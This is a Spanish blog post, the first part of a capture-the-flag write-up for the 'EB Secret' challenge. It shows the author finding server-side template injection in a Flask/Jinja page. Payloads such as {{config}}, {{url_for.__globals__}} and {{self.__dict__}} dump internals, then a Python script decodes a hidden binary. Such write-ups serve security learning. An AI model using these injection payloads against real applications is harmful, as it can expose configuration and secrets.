EB Secret, c0r0n4con (i/iii)

La gente de fwhibbit (Follow the White Rabbit) sigue publicando retos en el CTF de la c0r0n4con aún tras haber finalizado la conferencia. Ya comenté en su día que Mike’s Dungeon (Web) de @jorge_ctf me pareció una pequeña obra de arte. Hoy le toca el turno a otra joya, EB Secret (Misc), de @naivenom.

EB Secret entra en la categoría Misc, agrupando técnicas web y reversing

EB Secret comienza con un sencillo mensaje que abre la caja de Pandora.

«The new platform for premium video is vulnerable. Do you know the way to obtain the obsolete program and recover the secret key? DON`T RUN AS ROOT.
http://167.172.187.39:8004/»

El «Don’t run as root» ahora no lo terminamos de entender, pero tomará sentido dentro de poco… Así que nos adentramos en la madriguera del conejo, y nos encontramos con el primer pasadizo:

http://167.172.187.39:8004/secret?name=admin

admin como parámetro en la URL y admin reflejado en el contenido de la página. Mmmh…

http://167.172.187.39:8004/secret?name=trololo refleja el nombre trololo. http://167.172.187.39:8004/secret?name=`ls` refleja directamente, sin interpretar las comillas (¡hey! tenía que intentarlo). También podemos comprobar que hay limitación de tamaño en el parámetro, admite 30 caracteres. Si metemos un valor de 31, el contenido reflejado vuelve a tomar el valor admin: http://167.172.187.39:8004/secret?name=1234567890123456789012345678901

Probar, probar y probar… Costó demasiado que llegara la inspiración:

SSTI FTW!

http://167.172.187.39:8004/secret?name={{4*4}}

SSTI, Server-Side Template Injection. Bingo. Vamos a darle calor:

http://167.172.187.39:8004/secret?name={{config}}

El autor nos saluda con un Holi en las variables de entorno 🙂

Con 30 caracteres máximo no podemos hacer piruetas de (J)(N)inja, pero podemos intentar gatear:

http://167.172.187.39:8004/secret?name={{url_for.__globals__}}

¿Qué hemos aprendido? La current_app se llama ssti (lo que viene a confirmar, una vez más, el server-side template injection)

http://167.172.187.39:8004/secret?name={{self.__dict__}}

¿qué sacamos en claro? Hay un secret en base64 en la última línea:

echo "bm90X3ByZWQxY3RhYmxlX2Z1bmN0MTBu" |base64 -D
not_pred1ctable_funct10n

y una función con el mismo nombre: not_pred1ctable_funct10n ….

¿Qué ocurrirá si ejecutamos la función?

http://167.172.187.39:8004/secret?name={{not_pred1ctable_funct10n()}}

Jackpot!

Copiamos el contenido en un archivo s.64 y lo parseamos.

import base64

f=open("s.b64", "r")
contents =f.read()
splited = contents.split(',')

res = ''
for i in splited:
   res = res + i.strip().replace('\'','').replace('\\n','').replace('[','').replace(']','')


base64_img_bytes = res.encode('utf-8')
with open('decoded', 'wb') as file_to_save:
    decoded_image_data = base64.standard_b64decode(base64_img_bytes)
    file_to_save.write(decoded_image_data)

Veamos qué tenemos por aquí:

$ file decoded
decoded: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=33e62720986f5c9ad3c036ef7ec5118f7e19fd09, not stripped

Yeah, ¿bajamos un nivel más en la madriguera del conejo? Esto se pone interesante…